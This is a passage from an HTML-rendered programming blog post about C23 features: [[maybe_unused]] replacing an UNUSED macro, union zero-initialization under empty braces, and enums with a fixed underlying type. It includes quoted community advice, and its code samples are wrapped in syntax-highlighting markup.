&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-import syntax-define syntax-c&quot;&gt;#define&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-preprocessor syntax-c&quot;&gt;UNUSED&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-c&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-c&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-import syntax-c&quot;&gt;#endif&lt;/span&gt;&lt;/span&gt;

rect_t rect &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;draw_screen&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-comment syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;/*&lt;/span&gt; ... &lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;*/&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;UNUSED&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;rect&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Silences the compiler, but now I&amp;#39;m sad.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But now with C23 we can delete the macro in favor of the native &lt;code&gt;[[maybe_unused]]&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;maybe_unused&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; rect_t rect &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;draw_screen&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-variadic syntax-c&quot;&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Phew I feel better. I’ve also noticed this is happening all over the place: lots of different routines returning different types that are marked with &lt;code&gt;[[nodiscard]]&lt;/code&gt;. So for all the unused cases why not just go for:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;maybe_unused&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;auto&lt;/span&gt; _ &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; A new pattern emerges
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bonus: For any macro fans out there a fellow indie dev (Zardium) offered an additional improvement. From our chat server:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Zardium: #define _ [[maybe_unused]] auto CONCAT_MACRO(zz,&lt;strong&gt;COUNTER&lt;/strong&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Abner: ahh, unique varname. nice one&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Zardium: you could take the auto out if you don’t want it to look so weird. then it acts exactly like the _ in other languages, where it can be redefined&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Abner: Yep totally. Although here I was celebrating my removal of a macro… XD&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2. More Perfect Unions&lt;/h2&gt;
&lt;p&gt;I’ve been cheated and lied to: designated initializers DO NOT clear my struct to zero and I can’t even trust &lt;code&gt;{0}&lt;/code&gt; anymore. (Talk about a betrayal.) The problem is I’ll often have data types like this contrived timestamp:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
    Type type&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; buf&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;MAX&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;syntax-support syntax-type syntax-sys-types syntax-c&quot;&gt;time_t&lt;/span&gt; time&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;float&lt;/span&gt; dt&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
        date_t date&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-type syntax-typedef syntax-c&quot;&gt;stamp_t&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if I partially initialize one:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;stamp_t stamp &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-member syntax-c&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; STAMP_TYPE_BLA_BLA &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While it does mean we successfully zeroed out &lt;code&gt;buf&lt;/code&gt; (thanks to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.cppreference.com/c/language/initialization#Empty_initialization&quot;&gt;empty initialization&lt;/a&gt;), those union members are just a different beast. It also doesn’t matter if we go with &lt;code&gt;stamp_t stamp = {0}&lt;/code&gt; instead. My dear reader: I’ve made the costly mistake of assuming &lt;code&gt;date&lt;/code&gt; would clear to zero!&lt;/p&gt;
&lt;p&gt;As I Spongebob-panicked in public, Lobsters member &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/~accelbread&quot;&gt;accelbread&lt;/a&gt; offered a sage revelation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;accelbread: It used to be that GCC would fully zero the union anyways, and clang would only zero the time_t, though around a year ago they swapped behaviors iirc. Either way, standard only requires the time_t be zeroed and not whole union. GCC has a flag to always zero whole union. Also C23 initialization always inits whole union&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Wait WHAT? clang and gcc SWAPPED what now? I won’t investigate further. Everything about this is &lt;em&gt;dangerous af&lt;/em&gt; unless we hug C23 tightly and never let go:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;stamp_t stamp &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Fully clears to zero (C23)
&lt;/span&gt;stamp&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-member syntax-c&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; STAMP_TYPE_BLA_BLA&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Accelbread went on to say two more things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;“Note the C23 zero init whole thing is nothing in the brackets, not 0 in brackets; { 0 } does same thing as before C23”&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;“Also if you control union layout, putting largest member first is safest”&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Yessir.&lt;/p&gt;
&lt;h2&gt;3. Enums In C Were Magic (And I Don’t Like It)&lt;/h2&gt;
&lt;p&gt;If I want to customize some dialog box I’ll use bit flags:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
    OPT_AUTOSCROLL &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    OPT_NOCURSOR   &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    OPT_CENTERED   &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    OPT_NOCLOSE    &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;nodiscard&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;draw_warning&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-c&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; msg&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; opt&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even if we disagree with this approach lots of relevant libraries or projects do it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;_ &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;draw_warning&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;you done messed up A-A-RON&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; OPT_CENTERED &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;|&lt;/span&gt; OPT_NOCLOSE&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course, erroneous bit shifting will land anyone into trouble and yield comical numbers. Thankfully C enums are a plain &lt;code&gt;int&lt;/code&gt; underneath so the compiler will warn us if we defined a bad constant inside the enum that won’t fit.&lt;/p&gt;
&lt;p&gt;:)&lt;/p&gt;
&lt;p&gt;I’m kidding. Sigh. Well, I’m growing fearful of sage revelations but this one comes from &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gustedt.gitlabpages.inria.fr/modern-c/&quot;&gt;Modern C&lt;/a&gt; by Jens Gustedt:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jens: If enumeration constants do not fit into signed int, if possible, the enumeration type is adjusted such that it can store all enumeration constants.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Noooooo!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jens: The property that an an enumeration type is adjusted such that it fits all its constants could have surprising effects&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;sobs&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jens: So, it is preferable to specify the underlying integer type explicitly&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;THERE IS HOPE?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-enum syntax-c&quot;&gt;options&lt;/span&gt; : &lt;span class=&quot;syntax-entity syntax-name syntax-enum syntax-c&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
